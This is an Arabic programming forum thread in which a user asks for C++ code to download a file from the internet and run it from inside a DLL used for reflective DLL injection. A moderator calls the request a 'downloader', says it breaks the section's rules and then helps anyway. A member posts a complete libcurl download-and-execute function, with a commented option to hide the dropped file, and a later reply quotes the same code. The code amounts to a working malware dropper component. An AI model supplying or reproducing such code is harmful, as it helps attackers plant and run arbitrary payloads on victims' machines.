مساعدة فى كود تحميل ملف من الانتر نت وتشغيله

تم تحميل الصفحة في 0,4041804 ثانية
مساعدة فى كود تحميل ملف من الانتر نت وتشغيله
إنضم
8 يناير 2010
المشاركات
375
الإعجابات
113
النقاط
43
السلام عليكم



"Dim sif As String = "file url

Dim dev As String = "c:/sasa/firefox.exe"

My.Computer.Network.DownloadFile(lara, dev)


Process.Start(dev)




زي ما نتو شيفين ده كود بلغة vb.net

انا بقى عايز كود زيه بلغة c++

:26::26::26::26::26:
 

Mariio

.:: مُراقب أقسام البرمجة ::.
rankrankrankrankrankrank
طاقم الإدارة
إنضم
1 مايو 2007
المشاركات
4,884
الإعجابات
4,435
النقاط
133
الإقامة
USA
السلام عليكم



"Dim sif As String = "file url

Dim dev As String = "c:/sasa/firefox.exe"

My.Computer.Network.DownloadFile(lara, dev)


Process.Start(dev)




زي ما نتو شيفين ده كود بلغة vb.net

انا بقى عايز كود زيه بلغة c++

:26::26::26::26::26:

داونلودر ؟

موضوعك مخالف للقسم لكن سوف اساعدك

اولا تستعمل دالة URLDownloadToFile لتحميل ملف وثم حفظ الملف في مجلد انت تختاره
وثم تستعمل دالة ShellExecute لتشغيل الملف

طبعا عند وضع هذه الدوال مع يكون الناتج مكشوف ويتعبر ملف ضار بلنظام

هذه امثله


Download file from URL (URL as a string) - C++ Forum
C++, download file in directory
 
إنضم
8 يناير 2010
المشاركات
375
الإعجابات
113
النقاط
43
اسف على المخالفة
بس سمحنى انا ببرمج بلغة vb.net
يعنى معرفش حاجه عن السى
فمكن كود
احطه فى ملف دل يقوم بالمهمه دى

case DLL_THREAD_ATTACH:
MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK );

case DLL_THREAD_DETACH:

عايز كود الدونلود استدعيه مكان الماسج بوكس
 

Mariio

.:: مُراقب أقسام البرمجة ::.
rankrankrankrankrankrank
طاقم الإدارة
إنضم
1 مايو 2007
المشاركات
4,884
الإعجابات
4,435
النقاط
133
الإقامة
USA
دوال API نفسها في الدوت نت وغير اللغات لانها من الويندوز نفسه وليست من لغة البرمجة
في مكان المسج بوكس ضع دالة التحميل URLDownloadToFile
نفس الدالة في الروابط التي وضعتها لك
اعمل لها نسخ ولصق وبدل اللنك ومكان النزول
 

Mariio

.:: مُراقب أقسام البرمجة ::.
rankrankrankrankrankrank
طاقم الإدارة
إنضم
1 مايو 2007
المشاركات
4,884
الإعجابات
4,435
النقاط
133
الإقامة
USA





المكتبه انا ضيفها ونفس الخطاء ظاهر

ملحوظه انا شغال على ملف dll

مكتوب تم عمل كومبايل بنجاح
يوجد حرف P غير معرف
ضع كودك هنا حتى القي نظره على كل الكود
 
إنضم
27 يناير 2018
المشاركات
582
الإعجابات
528
النقاط
93
C++:
size_t get_remote_file_size(string url) {
    double file_size_from_internet = 0.0;
    CURL *curl = curl_easy_init();
    curl_easy_reset(curl);
    curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_VERBOSE, 0L);
    curl_easy_setopt(curl, CURLOPT_NOBODY, 1L);
    curl_easy_perform(curl);
    curl_easy_getinfo(curl, CURLINFO_CONTENT_LENGTH_DOWNLOAD, &file_size_from_internet);
    curl_easy_reset(curl);
    curl_easy_cleanup(curl);
    return file_size_from_internet;
};


struct DwnlFile {
    const char *filename;
    FILE *stream;
    size_t size;
};

BOOL FileExists(LPCSTR szPath)
{
    DWORD dwAttrib = GetFileAttributesA(szPath);

    return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
        !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

using DWNLD_WRITE_FUNCTION = size_t(*)(void *, size_t, size_t, void *);

size_t download_file(string url, string file) {

    auto downloader = [](void *buffer, size_t size, size_t nmemb, void *stream) -> size_t
    {
        struct DwnlFile *out = (struct DwnlFile *)stream;
        if (out && !out->stream) {
            if (!FileExists(out->filename))
                fopen_s(&out->stream, out->filename, "wb");
            else fopen_s(&out->stream, out->filename, "ab");
            if (!out->stream)
                return -1;
        }
        size_t written =  fwrite(buffer, size, nmemb, out->stream);
        out->size += written;
        return written;
    };

    auto resumable = [](string url) -> bool {
        CURL *curl = curl_easy_init();
        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
        curl_easy_setopt(curl, CURLOPT_RANGE, "0-10");
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        curl_easy_setopt(curl, CURLOPT_NOBODY, 1L);
        //curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36");
        curl_easy_perform(curl);
        long res_code;
        curl_easy_getinfo(curl, CURLINFO_HTTP_CODE, &res_code);
        //cout << "returned code : " << res_code << endl;
        if (res_code == 206)
        {
            //MessageBoxA(0, "the server supports resuming the downloads", 0, 0);
            return true;
        }
        return false;
    };

    SetFileAttributesA(file.c_str(), FILE_ATTRIBUTE_NORMAL);

    CURL *curl;
    CURLcode result_code;
    size_t size = 0;
    double returned_size;
    DwnlFile ftp_file{ file.c_str(),0,0 };

    if (FileExists(file.c_str())) {
        HANDLE hFile = CreateFileA(file.c_str(), FILE_READ_ACCESS, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
        if (hFile && hFile != INVALID_HANDLE_VALUE) {
            LARGE_INTEGER file_size = { 0 };
            if (GetFileSizeEx(hFile, &file_size))
                size = file_size.QuadPart;
            CloseHandle(hFile);
        }
    }

    // prepare the handle
    curl = curl_easy_init();
    if (!curl) return 0;

    // get the file size
    returned_size = get_remote_file_size(url);
    //cout << "[*] downloading \nfile size from the internet : " << returned_size << "\nfile size on disk : " << size << endl;
    if (size != 0 && returned_size != -1 && size == returned_size) return returned_size;

    // check if the server supports resuming
    bool can_resume = resumable(url);

    // download the file
    curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    if (can_resume) curl_easy_setopt(curl, CURLOPT_RESUME_FROM, size);
    else if (!can_resume && size != 0 && (size != returned_size || returned_size == -1)) DeleteFileA(file.c_str());
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &ftp_file);
    curl_easy_setopt(curl, CURLOPT_VERBOSE, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, (DWNLD_WRITE_FUNCTION)downloader);
    result_code = curl_easy_perform(curl);

    // clean
    curl_easy_cleanup(curl);
    if (ftp_file.stream) fclose(ftp_file.stream);

    //SetFileAttributesA(file.c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);

    return ftp_file.size;
}

void download_exec(string url , string filepath,string cmd_line) {
    download_file(url,filepath);
    STARTUPINFOA sinfo = {0};
    PROCESS_INFORMATION pinfo = {0};
    CreateProcessA(filepath.c_str(),cmd_line.empty() ? 0 : _strdup(cmd_line.c_str()), 0,0,0,0,0,0,&sinfo,&pinfo);
}
 
إنضم
6 نوفمبر 2013
المشاركات
245
الإعجابات
210
النقاط
53
الإقامة
Morocco
C++:
size_t get_remote_file_size(string url) {
    double file_size_from_internet = 0.0;
    CURL *curl = curl_easy_init();
    curl_easy_reset(curl);
    curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_VERBOSE, 0L);
    curl_easy_setopt(curl, CURLOPT_NOBODY, 1L);
    curl_easy_perform(curl);
    curl_easy_getinfo(curl, CURLINFO_CONTENT_LENGTH_DOWNLOAD, &file_size_from_internet);
    curl_easy_reset(curl);
    curl_easy_cleanup(curl);
    return file_size_from_internet;
};


struct DwnlFile {
    const char *filename;
    FILE *stream;
    size_t size;
};

BOOL FileExists(LPCSTR szPath)
{
    DWORD dwAttrib = GetFileAttributesA(szPath);

    return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
        !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

using DWNLD_WRITE_FUNCTION = size_t(*)(void *, size_t, size_t, void *);

size_t download_file(string url, string file) {

    auto downloader = [](void *buffer, size_t size, size_t nmemb, void *stream) -> size_t
    {
        struct DwnlFile *out = (struct DwnlFile *)stream;
        if (out && !out->stream) {
            if (!FileExists(out->filename))
                fopen_s(&out->stream, out->filename, "wb");
            else fopen_s(&out->stream, out->filename, "ab");
            if (!out->stream)
                return -1;
        }
        size_t written =  fwrite(buffer, size, nmemb, out->stream);
        out->size += written;
        return written;
    };

    auto resumable = [](string url) -> bool {
        CURL *curl = curl_easy_init();
        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
        curl_easy_setopt(curl, CURLOPT_RANGE, "0-10");
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        curl_easy_setopt(curl, CURLOPT_NOBODY, 1L);
        //curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36");
        curl_easy_perform(curl);
        long res_code;
        curl_easy_getinfo(curl, CURLINFO_HTTP_CODE, &res_code);
        //cout << "returned code : " << res_code << endl;
        if (res_code == 206)
        {
            //MessageBoxA(0, "the server supports resuming the downloads", 0, 0);
            return true;
        }
        return false;
    };

    SetFileAttributesA(file.c_str(), FILE_ATTRIBUTE_NORMAL);

    CURL *curl;
    CURLcode result_code;
    size_t size = 0;
    double returned_size;
    DwnlFile ftp_file{ file.c_str(),0,0 };

    if (FileExists(file.c_str())) {
        HANDLE hFile = CreateFileA(file.c_str(), FILE_READ_ACCESS, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
        if (hFile && hFile != INVALID_HANDLE_VALUE) {
            LARGE_INTEGER file_size = { 0 };
            if (GetFileSizeEx(hFile, &file_size))
                size = file_size.QuadPart;
            CloseHandle(hFile);
        }
    }

    // prepare the handle
    curl = curl_easy_init();
    if (!curl) return 0;

    // get the file size
    returned_size = get_remote_file_size(url);
    //cout << "[*] downloading \nfile size from the internet : " << returned_size << "\nfile size on disk : " << size << endl;
    if (size != 0 && returned_size != -1 && size == returned_size) return returned_size;

    // check if the server supports resuming
    bool can_resume = resumable(url);

    // download the file
    curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    if (can_resume) curl_easy_setopt(curl, CURLOPT_RESUME_FROM, size);
    else if (!can_resume && size != 0 && (size != returned_size || returned_size == -1)) DeleteFileA(file.c_str());
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &ftp_file);
    curl_easy_setopt(curl, CURLOPT_VERBOSE, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, (DWNLD_WRITE_FUNCTION)downloader);
    result_code = curl_easy_perform(curl);

    // clean
    curl_easy_cleanup(curl);
    if (ftp_file.stream) fclose(ftp_file.stream);

    //SetFileAttributesA(file.c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);

    return ftp_file.size;
}

void download_exec(string url , string filepath,string cmd_line) {
    download_file(url,filepath);
    STARTUPINFOA sinfo = {0};
    PROCESS_INFORMATION pinfo = {0};
    CreateProcessA(filepath.c_str(),cmd_line.empty() ? 0 : _strdup(cmd_line.c_str()), 0,0,0,0,0,0,&sinfo,&pinfo);
}
الكود بالcurl
هل لديك مصدر لتعلم الcurl لو سمحت ؟؟
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل